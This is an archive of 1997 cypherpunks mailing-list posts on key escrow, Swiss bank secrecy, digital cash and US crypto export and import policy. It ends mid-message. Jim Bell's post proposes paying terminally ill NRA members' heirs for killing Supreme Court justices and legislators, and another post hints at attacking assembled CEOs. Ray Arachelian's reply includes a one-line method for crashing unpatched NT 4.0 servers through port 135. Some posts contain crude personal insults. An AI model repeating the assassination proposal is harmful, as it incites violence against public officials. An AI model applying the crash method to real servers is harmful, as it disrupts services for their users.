Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 8 May 1997 11:26:24 +0800
To: cypherpunks@toad.com
Subject: Re: Custom programming, Web site design & development, and more.
In-Reply-To: <199705080051.TAA00842@manifold.algebra.com>
Message-ID: <1a8c7D43w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> does he still sell zeros?
>

He's diversified into selling bulk e-mail software.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman <NOSPAM-geeman@best.com>
Date: Thu, 8 May 1997 14:32:47 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: The Executive State
Message-ID: <3.0.32.19970507225557.0069d8f4@best.com>
MIME-Version: 1.0
Content-Type: text/plain


YOU BET!
Similar thoughts went thru my mind as I drove by the Lake the other day.
Secret Service is involved in security preparations, somewhat because 
Gore will be there. 

God, the thought of all those marketing banalities!

At 11:33 AM 5/7/97 -0500, William H. Geiger III wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>
>In <3.0.32.19970507081934.006bbe28@best.com>, on 05/07/97 at 09:20 AM,
>   geeman <NOSPAM-geeman@best.com> said:
>
>
>>Anyone doubting that the center of gravity of world power is shifting
>>would do well to ponder: 100 of the world's top CEO's are going to  Bill
>>Gates' house to hear him expound on what the future will look like.
>
>>IF that doesn't make you nervous nothing will.  It's at least as 
>>nervewracking as anything Clinton admin. might do.
>
>Hmmm... 100 top CEO's & Bill Gates all in one place.
>
>Makes one ponder the possibilities. :)
>
>- -- 
>- -----------------------------------------------------------
>William H. Geiger III  http://www.amaranth.com/~whgiii
>Geiger Consulting    Cooking With Warp 4.0
>
>Author of E-Secure - PGP Front End for MR/2 Ice
>PGP & MR/2 the only way for secure e-mail.
>                          
>Finger whgiii@amaranth.com for PGP Key and other info
>- -----------------------------------------------------------
> 
>Tag-O-Matic: I use OS/2 2.0 and I don't care who knows!
>
>-----BEGIN PGP SIGNATURE-----
>Version: 2.6.2
>Comment: Registered User E-Secure v1.1 ES000000
>
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>kHoiFpPxMYJeepzum4U67n4K7FQaFsn+zf5Lpgwd01dkQ3u0MbkF7sA5aGoK4+kR
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>eKtNoc/2CrE=
>=MswY
>-----END PGP SIGNATURE-----
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 8 May 1997 11:29:50 +0800
To: cypherpunks@toad.com
Subject: Re: Banking Secrecy and Nazi Gold
In-Reply-To: <199705080050.TAA00821@manifold.algebra.com>
Message-ID: <8D8c7D44w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:
> E.g., if you steal Vulis's car and then sell it to me, I will not have
> the title to the car and will have to return it back to Vulis (and may
> be able to try to recover my loss from you). The same will be true if
> you lend the stolen car to me -- he can get it back if he proves that it
> is his.

Timmy C"you know what" May is a car thief too?????????????

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marshall Clow <mclow@owl.csusm.edu>
Date: Thu, 8 May 1997 14:25:34 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: List of GAK supporters
In-Reply-To: <3.0.32.19970507215109.006ac2a8@netcom13.netcom.com>
Message-ID: <v03102802af971e13f5fe@[207.67.207.179]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:51 PM -0700 5/7/97, Lucky Green wrote:
>At 09:37 PM 5/7/97 -0700, Marshall Clow wrote:
>>Apple, as far as I know, has no GAK project in place.
>>In fact, as far as I know, the last GAK-related action
>>that anyone at Apple has participated, was to participate in
>>the original press release.
>
>Which was a big mistake. I know I complained loudly to them. I suspect
>others did as well.
>
>>This is not meant as a defense of Apple. I have discussed
>>their support of this organization with senior management there,
>>and tried to convince them of the errors of their ways. Rather,
>>it is a comment on their current activities regarding GAK.
>
>Do you feel you had success in discussing this issue with them?
>
>Thanks,
>
>
No, I did not.

I feel that Apple's "lack of participation" is much more a preoccupation
with other matters (like losing $700M) rather than a stand on principle.

However, I suspect that if Apple management actually started work on
such a project (or were ready to begin seeding), there would be a lot of
opposition, both inside and outside Apple.

Martin, do you have any comment on this?

-- Marshall

Marshall Clow     Aladdin Systems   <mailto:mclow@mailhost2.csusm.edu>

"In Washington DC, officials from the White House, federal agencies and
Congress say regulations may be necessary to promote a free-market
system." --  CommunicationsWeek International April 21, 1997






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 8 May 1997 15:14:54 +0800
To: cypherpunks@toad.com
Subject: Re: List of GAK supporters
In-Reply-To: <Pine.3.89.9705071942.A10252-0100000@netcom19>
Message-ID: <m18c7D47w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green <shamrock@netcom.com> writes:

> Below is a list of the members of the "Key Recovery Alliance" who are
> working hard to make the world safe for GAK. I intend to boycott them,
> though that may not be possible, since the "Allicance" seems to include just
> about anybody in the computer industy. It is sickening.
>
>
> Baltimore Technologies nCipher Corp. Boeing NEC
>      Cryptomathic Portland Software GemPlus RedCreek
>      Communications Frontier Technologies Corp. RPK Fujitsu
>      Ltd. Silicon Graphics, Inc. Hitachi Spyrus Open Horizon, Inc.
>      Sterling Commerce Intel Tandem IRE Technical
>      Communications Corp. Mitsubishi Electric America Toshiba
> America Online, Inc. Mytec Technologies, Inc. Apple
>      Computer, Inc. NCR Corp. Atalla Network Systems Group
>      of StorageTek Certicom Novell, Inc. Compaq Computer
>      Corp. PSA CygnaCom Solutions, Inc. Price Waterhouse
>      Cylink Corp. Racal Data Group Data Securities International
>      Inc. Rainbow Technologies First Data Corp. RSA Digital
>      Equipment Corp. SafeNet Trusted Services Corp. Digital
>      Signature Trust Company Secure Computing Corp. Entrust
>      Technologies SourceFile Gradient Technologies, Inc. Sterling
>      Commerce Groupe Bull Sun Microsystems, Inc.
>      Hewlett-Packard Trusted Information Systems, Inc. IBM
>      Unisys ICL UPS McAfee Utimaco Mergent Mitsubishi
>      Corporation of Japan VPNet Technologies Motorola
>

Better them than C2Net or the cocksuckers at "Cygnus Support".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 8 May 1997 15:18:53 +0800
To: cypherpunks@toad.com
Subject: Re: Banking Secrecy and Nazi Gold
Message-ID: <199705080652.XAA28596@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May wrote:
> 
> I try to deconstruct events, to determine what the real issues are.
> 
> Take the case of the ongoing flap over Switzerland and claims that Swiss
> banks hid gold, jewels, and other forms of money for high-ranking Nazis.
> Adding to the flap--actually, making it a newsworthy event--is the
> allegation, probably true, that some of the gold was taken from Jews and
> others sent to extermination camps.

  When I caught this on the news I immediately shifted my attention
to viewing the announcement from the perspective of the people 
involved not really giving a rat's ass about the Jews.
  What was left of the announcement once the banner of "mom's apple
pie and freedom and justice for all" was removed was a shallow 
justification of a mugging technique I call "extortion by guilt."
 
> the notion that "Switzerland must do something!" is pernicious and
> inimical to banking secrecy and basic privacy issues. A drumbeat is
> building which will serve to undermine banking secrecy around the world.

> I suspect the U.S. pressure on Swiss banks has a political dimension
> related to forcing a New World Order on international banking.
 > The clamor to break banking secrecy and
> "force" the banks to disclose all records is part of a larger political
> game.

  It's a muscle job designed to weaken the mark for the next level
of extortion. Today the Swiss are guilty of collusion in the 
holocaust and tomorrow they will be guilty of collusion with
drug dealers and pornographers. Only next time the Swiss will
fold their hand behind closed doors in order to save themselves
the global embarassment that has so sleazily been heaped on them.
 
{Somewhere deep in the bowels of D.C. there is someone working
late into the night in an attempt to link the holocaust to 
cryptography.
Headline: DEATH CAMP TATTOOS PROVEN TO BE EARLY FORM OF 
                   128 BIT ENCRYPTION
}

  What I find frightening is a sudden rise of obvious power plays
by government without bothering any longer with the formality
of engaging in a lengthy campaign to create a threat to the
citizens in the minds of the public.
  It's no wonder that the list conspiracy theorists have been
quiet as of late. Once the power mongers are kicking in your
door, then it's rather late to wonder if they are tapping
your phone as well.

  How long can it be before the government no longer feels
the need to inform us about the details of who they are
saving us from, and why?
  I am worried about falling asleep tonight. I fear that I will
go to sleep in my bed and wake up in a prison cell, with a
jackbooted guard informing me, "It's OK. You're safe now."

(.)(.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Thu, 8 May 1997 13:31:54 +0800
To: tcmay@got.net (Tim May)
Subject: Re: Banking Secrecy and Nazi Gold
In-Reply-To: <v03007800af9667d20ad6@[207.167.93.63]>
Message-ID: <3.0.1.32.19970508001526.027646a4@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 07:50 PM 5/7/97 -0500, Igor Chudov @ home wrote:
>According to americal common law, as I understand it, no one can get
>a valid title to the property from someone who did not have such title.
>
>E.g., if you steal Vulis's car and then sell it to me, I will not have
>the title to the car and will have to return it back to Vulis (and may
>be able to try to recover my loss from you). The same will be true if
>you lend the stolen car to me -- he can get it back if he proves that it
>is his.

The thief's ownership of personal property is good against the whole world
save the true owner. 

"18. In general, possession constitutes the criterion of title of 
personal property, because no other means exist by which a knowledge of the 
fact to whom it belongs can be attained. A seller of a chattel is not, 
therefore, required to show the origin of his title, nor, in general, is a 
purchaser, without notice of the claim of the owner, compellable to make 
restitution; but, it seems, that a purchaser from a tenant for life of 
personal chattels, will not be secure against the claims of those entitled 
in remainder. Cowp. 432; 1 Bro. C. C. 274; 2 T. R. 376; 3 Atk. 44; 3 V. & B. 
16."

http://www.constitution.org/bouv/bouviert.txt  (Bouvier Law Dictionary a fun
Net resource) 

In the case of money (including gold) and other fungible commodities it can
be very hard to determine who owns what once it is out of possession because
it all looks alike.

>Lending stolen money (or stolen golden teeth) to banks is no different
>than lending stolen cars.
>
>American law does not have to apply to Switzerland, but I find that 
>particular part of it to be just. The issue, of course, is coming up
>with the proof.

Most of the assets involved (by volume and value) were the property of
governments that had been conquered by Germany or property confiscated from
German citizens.  Unfortunately, German citizens (like American citizens) are
not protected by international law from predation by their own government. 
Private citizens of conquered countries would be protected but proof will be
hard.  

All of these issues were debated at length in 1946 and settled by the
Washington Agreement.  The U.S., Britain, and France sat on the gold that
Switzerland transferred to it for 50 years (in the basement of the FRB NYC)
parcelling it out in dribs and drabs mostly to the treasuries of the
conquered nations.  They still have a fair chunk of it  and are trying to
figure who to give it to.  I guess holding other people's gold is OK some of
the time.

Article II.2 of the Washing ton Agreement stipulated: 

"The Allied Governments declare on their part that, in accepting this amount,
they
waive in their name and in the name of their banks of issue all claims
against the
Government of Switzerland and the Swiss National Bank in connection with gold
acquired during the war from Germany by Switzerland. All questions relative
to such
gold will thus be regulated." 

Switzerland transferred appox 1,658,000 oz of gold to the Allies with a
current value of $568,750,000.

DCF


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Thu, 8 May 1997 16:43:25 +0800
To: Jeff Barber <kent@songbird.com
Subject: Re: FC: Responses to Tim May's criticism of SAFE, and a rebuttal
Message-ID: <199705080823.BAA13423@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 13:21 5/07/97 -0400, Jeff Barber wrote:
>The NRA knows this.  They just don't trust the Supremes to agree
>with their conclusion.  Understandably so, given the court's record--
>not to mention its usual reluctance to overturn precedents.
>
>This is a problem with constitutions or any other sort of written
>documents.  Pinheads can always say the document doesn't *really* mean
>what it clearly says.  There's obviously no way to fix that through
>the document itself.
>
>(I'm sure Jim Bell will say he has a solution though. :-)


As if on cue!

If the NRA had any guts, they would announce that they have concluded after
years of observation and study that there are enormous costs to having the
RTKBA continue to be poorly respected, costs which translate into (at least)
potentially hundreds or maybe even thousands of innocent deaths per year,
not to mention the continuing degradation of respect for various other
constitutional rights.  It would then observe that if we come to the
reasonably egalitarian conclusion that the life of a Supreme Court justice
or Senator or Representative is no more valuable than the life of an
ordinary citizen, the solution to the 2nd amendment problem is clear.  

(Some (many?) courts seem to recognize the "lesser evil" defense, the idea
that if a person has to choose between tolerating a greater evil or
committing a crime ("lesser evil") to prevent it, he is entitled to do the
latter.  I'm not suggesting that they would view this philosophy as
applicable in this particular case; merely that it is appropriate to do so.)

The NRA is a fairly large organization.  At any one time, there are probably
over a hundred members with terminal illnesses, or others who would be
willing to give their lives in the performance of a task to punish somebody
for violating citizens' rights by official actions.  A public announcement
by the NRA that they will gladly pay upwards of a million dollars in "life
insurance benefits" to to the heirs of any member who dies in this type of
supreme service (or a million dollars in legal defense, etc) would put the
"fear of God" into the thugs.




Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 8 May 1997 17:34:09 +0800
To: cypherpunks@toad.com
Subject: Re: Bypassing the Digicash Patents
In-Reply-To: <v02140b07af943b3689c9@[10.0.2.15]>
Message-ID: <v03020912af97403644b2@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:00 pm -0400 on 5/5/97, Steve Schear wrote:


> If I grant that you're right that DBCs will be 3-4 orders of magnitude
> cheaper than the book-entry approaches, and I'm ready yet, there is still
> the issue of whether such savings can be quickly passed on to the merchant
> and consumer, and thus spark this revoltion.

I actually don't care about the merchant and consumer. The hole you pour
the cost savings into belongs to the people clearing the trades, the
trustee and the underwriter. They'll take care of the consumer and the
merchant. Again, the reason we have ATMs is because they put tellers out of
work. If we can move that decimal point three or four places to the left
with strong financial cryptography, then we won't have a spark, we'll have
a Chixalub event. :-).

> Consider this, if a DBC-based system were to garner 3% (about what it might
> take to get noticed by the consumer, retail and business markets) of the
> GDP's $4 trillion in transactions, or about $120 billion, and the
> transaction fees were $0.0025, this would generate about $300 million in
> fees.  This is about what Western Union International generates in fees, a
> very respectable sized business.  But how much marketing and branding
> expenditures would it take to get there?  All financial products which
> attempted to reach a broad market and have a significant impact have
> required, in the past, significant up-front marketing expenses (VISA
> succeeded because BankAmericard spent in the $10s million per year range).
> Unless the Net will enable a 3-4 orders of magnitude reduction in such
> expenses, amounting to an historic bootstrap, it is difficult to see how
> this will occur without a white knight.

"Branding" is not the issue here. What we're talking about is the creation
of exactly the opposite, what economists call "perfect" competition, like
in commodities markets, where one soybean is as good as another. Fungible,
in other words. In the bond market, once you have two bonds which are
equivalent in credit rating, call structure, etc., effectively equivalent
in total return, in other words, you don't care who issues it.

The way we get to this is to exponentially increase the number of
underwriters, which is what Moore's Law gives us in the form of those
underwriting microbots I blather on so much about. If the costs of
generating that $300 million you're talking about is less than that revenue
by any small but appreciable fraction, you have a market. By the way, we
should avoid conflating cost with revenue. I'm talking about reducing the
cost of delivery by 3 or 4 orders of magnitude. Whatever you charge is what
the market will bear. :-). It's the profit margin, not the market size
which counts, and I claim that someday you'll have very small entities
making very small markets indeed. Remember, the original Mark Twain Bank
"mint" ran on a 486. If, as Dr. Myrhvold likes to point out, computers 20
years from now are going to be a million times more powerful, then that
creates a scale of financial entity to which $300 million is huge. Way too
big to think about.

In the meantime, if, due to the entertaining pricing distortions of
creating a new market you were able to sell that $300 million worth of
total cost for $3 billion, that would be cool, right? At least until you
had some competition, and, given Moore's law, that competition could happen
pretty quick...

Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Thu, 8 May 1997 19:58:48 +0800
To: cmcurtin@research.megasoft.com
Subject: Re: US Citizens doing crypto work overseas
In-Reply-To: <199705071826.OAA18201@goffette.research.megasoft.com>
Message-ID: <199705081130.HAA21761@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


	It depends if they're willing to add a clause guaranteeing
legal fees.  (And have the appropriate size to do so in a convincing
way.)  With legal fees spoken for, many Americans do work overseas.

	Its all a matter of the US government not wanting to take on a
well funded legal team to try and claim that Americans can't speak to
furriners.  They much prefer mild mannered nuclear activists with a
large mortgage and a family to feed.  They're easier to beat up.

Adam


C Matthew Curtin wrote:
| Does anyone have any idea how extensive the legal entaglements might
| be for a US Citizen to accept work overseas developing crypto software
| for a foreign company?
| 
| Someone at a company in Australia is interested in hiring some
| crypto-clued folks, and has asked me if it's even worth pursuing
| any US citizens.

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Thu, 8 May 1997 23:20:01 +0800
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: My editorial in Oregonian newspaper published today.
Message-ID: <199705081446.HAA07883@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 17:20 5/07/97 -0700, Vladimir Z. Nuri wrote:
>JB's editorial is so mild-mannered I can barely resist comment.
>this from the JB we all know and love? this is so bland as to
>be almost PC, and frankly I agreed with every statement in
>it, virtually. how did he manage to avoid the label "assassination
>politics"? in fact how does he avoid the label "assassination"
>entirely? 

Hey, doofus, the article was 840 words long, 40 words longer than the length
recommended by the newspaper.  It ALSO avoids any mention of cryptography,
or digital cash, both of which would have not only just confused the average
newspaper reader, but  would have ballooned the article far past the length
that the newspaper could reasonably consider publishing.


>I think the main flimflammery in the essay is the concept of
>"criminal". JB always advocated in the past that merely being
>a bureacrat was virtually criminal, and that people would donate
>money toward their demise. 


Repeat same point above about length and detail.

>note to everyone: jim bell's editorial has virtually no relation
>to his past essays. I propose that someone send that newspaper
>his AP article.

They certainly had access to it.  The guy I talked to at the newspaper
claimed he had read it.


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 9 May 1997 02:19:26 +0800
To: cypherpunks@toad.com
Subject: IP: Crypto News Flash (fwd)
Message-ID: <3.0.1.32.19970508103647.002ec6d8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>From: "Michael Froomkin - U.Miami School of Law"
>              <froomkin@LAW.MIAMI.EDU>
>Subject:      IP: Crypto News Flash (fwd)
>To: CYBERIA-L@LISTSERV.AOL.COM
>
>Amazing if true.  Part of my amazement is that Sen. Kerry, who I think of
>as somewhat moderate if not somewhat liberal, would be a party to this.

...
>---------- Forwarded message ----------
>Date: Thu, 08 May 1997 12:51:01 -0400
>From: David Farber <farber@cis.upenn.edu>
>Subject: IP: Crypto News Flash
>
>
>CyberWire Dispatch // Copyright (c) 1997 // May 1997
>
>Jacking in from the "Take My Crypto, Please" port:
>
>Washington, DC--A new anti-crypto bill now floating around Washington
>would place restrictions on the import of strong crypto products into the
>U.S. and possibly outlaw the use of non-government approved encryption
>products.
>
>During a morning briefing at the Capitol,  Sen. Bob Kerry
>(D-Neb.), talking about his impending new crypto bill, which he will call
>the "Secure Public Interest Act" said that the bill WILL include
>IMPORT restrictions on crypto software.
>
>Incredible.  We've heard rumblings the folks behind crypto strangling
>efforts would jump to import controls on crypto software if key escrow
>weren't widely adopted.
>
>Restricting imports, of course, is a kind of de facto domestic
>restriction as well.  It  means that companies can't import strong
>foreign made crypto products to use in their worldwide offices, forcing
>them to use the govt. mandated weaker crypto products.
>
>Next step:  outlawing some domestic crypto products.
>
>Kerry, when asked if there would be restrictions on private encryption,
>said "I don't envision that at the outset, but it might end up in the bill."
>
>Meeks out...
>
>

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Will Rodger <rodger@worldnet.att.net>
Date: Thu, 8 May 1997 23:30:05 +0800
To: cypherpunks@toad.com
Subject: Interactive Week exclusive - Clinton Admin. to announce new Crypto regs. this PM
Message-ID: <3.0.32.19970508104809.0070e8cc@postoffice.worldnet.att.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Something you might find interesting....

By Will Rodger
Washington Bureau Cheif
Inter@ctive Week

The US government will announce later today that will soon lift controls on
technology crucial to doing business over the Internet, White House advisor
Ira Magaziner said yesterday evening.

Under plans expected to be outlined at a noontime press briefing today, the
federal government will require that producers of specialized, narrowly
focused data scrambling products submit only to one-time government
approval before they sell powerful encryption products abroad. Current
policy requires case-by-case approval in most instances.

"Basically it will say that for basic financial and electronic applications
there will be no export restrictions and no requirement for key recovery,"
Magaziner said.

US Undersecretary of Commerce William Reinsch is expected to give details
of the plan. Reinsch could not be reached for comment.

Computer industry executives and public interest groups said the new
arrangement, though far short of deregulating all encryption, was a step in
the right direction.

"This is evidence that the administration acknowledges that manufacturers
of foreign encryption products do exist," said Peter Harter, public policy
counsel at Netscape Communications Corp. "Their policy has put American
industry in the back seat and now we're trying to catch up."

David Banisar, policy analyst at the Washington-based Electronic Privacy
Information Center, called the move a "small step forward." Nonetheless,
"it still doesn't reach the needs for secure e-mail or other purposes," he
said.

Computer software and hardware eligible for decontrol under the proposed
regulations must fit several criteria, said Kawika Daguio, a public affairs
specialist with the American Bankers Association who helped hammer out an
agreement for the new regulations. 

.Though products designed for use by the general public may be unlimited in
the strength of the encryption techniques they employ, they must also be
strictly limited in use, he said. Software written for home banking, for
instance, must be usable only for bank transactions and not easily modified
for general use. Most programs handed out by banks for PC banking at home
fit that criteria, he said. 

Programs that use the industry  SET standard for credit card purchases over
the Internet should easily meet Commerce Department criteria, too, since
the SET standard encrypts only those data essential to making online
purchases; the limited uses of the standard render it all but useless for
general use. Visa, MasterCard and American Express developed the standard.

"I'd expect programs written with SET to get very rapid approval - within
weeks," Daguio said.

In addition, US companies will have leeway to export any kind of encryption
to any bank as long as that encryption is used only for legitimate,
internal bank functions. Products designed for merchant-to-merchant
transactions without a bank in between would still be subject to stricter
controls, including use of weak software routines that make decoding by law
enforcement easy, or deposit of decoding keys with law enforcement bodies
prior to export.

Commerce Department regulations will spell out details this month or next,
Daguio said. 

Though more sweeping in nature than past government regulations, the US
banking industry has long enjoyed more freedom to use powerful encryption
technologies abroad than other industries. Successive administrations have
granted banks that leeway since by definition they must have greater
safeguards over employee behavior than all but a handful of industries. In
addition, financial applications have long been easier to design for export
since they typically require encryption of only a few standard data fields.
If sufficiently limited in design, the reasoning goes, they pose no threat
to law enforcement concerned about smugglers or terrorists who may want to
evade detection by law enforcement.
 
The government and the computer industry have for years been locked in
disputes over the relative importance of encryption technologies and their
potential for misuse.

Since encryption encodes sensitive information like credit card numbers,
voice traffic over public networks and anything else that can be converted
into an electronic stream of ones and zeroes, proponents of electronic
commerce have insisted the technology must be widely deployed to assure the
security of computer networks worldwide. Absent US encryption exports, they
claim, American companies will soon lose their leadership role in a
technology crucial to the country's competitiveness.

Federal officials, on the other hand, have said export of the technology
threatens global security, since terrorists and criminals in outlaw states
like Libya and North Korea could easily use the technology to defeat
wiretaps and data searches increasingly prized by law enforcement and
national security agencies. In response, they demand that exports of
powerful encryption include so-called key recovery - a method by which law
enforcement can gain access to the encryption keys used to encode messages.
Many public interest groups have condemned the plans, however, saying such
a transfer of power to law enforcement threatens to usher in an era of
ubiquitous and illegal eavesdropping. Several bills pending in Congress
would do away with nearly all controls. Reinsch was expected to testify at
congressional hearings on one of the bills this morning.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBM3HngkcByjT5n+LZAQHL+Af/WdDoOuORps0gkZQmI4B6mgY63HeTzKZH
kW19knlqU6SMC/GSdFrZLiWZhkDec2/wLzq57wdzlPjdPd+5wCvTYWmJAX68Kf6b
9g6cm3AbhZSKmaOtUtwOmUwAtuS5DPaGiPejAc9716K0/U9+0YBNKMZ/qVYAhrLc
yR4yxLqpXd68zhirYIxtjHcB1fDzRO6F91stxvvDsg2bg2pPvLidWOBoknMZmCQt
ALV5Z1yuik6tNOIPx+4ty7kWMMIQ0E3DqVKPxVAbFchCTohcee55U6Pmg3pbYtVg
rrhYr4W8s/juv/9JrVa99+usyt/ohe+N3HcYtJ5WVLF2ED3UT/YDBg==
=Q3/z
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 9 May 1997 00:20:03 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <3.0.32.19970507220052.0073faa8@netcom13.netcom.com>
Message-ID: <Pine.SUN.3.91.970508114438.999N-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 7 May 1997, Lucky Green wrote:

> Though shalt not use static size buffers for variable length data. [I don't
> need to tell this to Bill and many others on this list. The rest better
> chisel it in granite. :-]

Exception1: Unless you are fragmenting incoming data into chunks equal to 
or smaller than the size of your static buffer less 1 byte for the NUL 
character terminator. :)

Lemma1: Never assume anything about incoming data sizes, or formats.  
Example: The SBM client being able to do the equivalent of "cd .." on the 
root level of an NT share.

Lemma2: Always make sure when expecting data to time out if you do not 
receive what you expect.  Example: telnet to port 135 of unpatched NT 
server 4.0, type 10 characters, hit ENTER and disconnect.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder@sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 9 May 1997 00:15:30 +0800
To: ichudov@algebra.com
Subject: Re: Custom programming, Web site design & development, and more.
In-Reply-To: <199705080051.TAA00842@manifold.algebra.com>
Message-ID: <Pine.SUN.3.91.970508114932.999O-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 7 May 1997 ichudov@algebra.com wrote:

> does he still sell zeros?

Yeah, and he's applied a patent on the idea of /dev/null. Since it 
produces zeros, he plans to sue every unix var on the planet for patent 
infringement right after he gets the patent.  (Little does he know about 
EOF - but soon as he gets a clue, he'll sue on the concept of EOF as 
well.)

He's working on a beta of a program that produces 1's.  That's  secret 
project he's working on next. :)

We really should be careful with ROT13 though... He might get some ideas 
there too...

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder@sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 9 May 1997 04:24:52 +0800
To: cypherpunks@cyberpass.net
Subject: Trapped behind the Silicon Curtain
In-Reply-To: <3.0.1.32.19970508103647.002ec6d8@popd.ix.netcom.com>
Message-ID: <v03007800af97e45b4e4b@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:36 AM -0800 5/8/97, Bill Stewart wrote:
>>From: "Michael Froomkin - U.Miami School of Law"
>>From: David Farber <farber@cis.upenn.edu>
>>Subject: IP: Crypto News Flash
>>CyberWire Dispatch // Copyright (c) 1997 // May 1997
>>
>>Jacking in from the "Take My Crypto, Please" port:
>>
>>Washington, DC--A new anti-crypto bill now floating around Washington
>>would place restrictions on the import of strong crypto products into the
>>U.S. and possibly outlaw the use of non-government approved encryption
>>products.
>>
>>During a morning briefing at the Capitol,  Sen. Bob Kerry
>>(D-Neb.), talking about his impending new crypto bill, which he will call
>>the "Secure Public Interest Act" said that the bill WILL include
>>IMPORT restrictions on crypto software.
...

What, no mention of "Child Protection"?

This bill has been floating around D.C. for several weeks, as the
Administration searched for a sponsor, according to some folks I know close
to Ground Zero.

And we've known the Clinton fascists have planned this for several years.
(The Bush fascists would've done the same thing had they been reelected in
'92, too.)

This will place the United States behind a "Silicon Curtain," with ordinary
people forbidden to _import_ increasing amounts of information.
Historically, imports have been restricted under two conditions: first, for
tariff reasons, and, second, for contraband reasons. The imposition of
import restrictions on crypto is clearly of the latter type, which means
that posession of certain types of crypto in the U.S. would be tantamount
to possessing contraband. Hey, if they can't stop cargo planes full of
bales of marijuana from entering, nor shiploads of AK-47s, how can they
stop _bits_?

But they'll try. And as Whit Diffie so accurately characterized things, the
"War on Crypto" will be fought the way the "War on Drugs" has been fought,
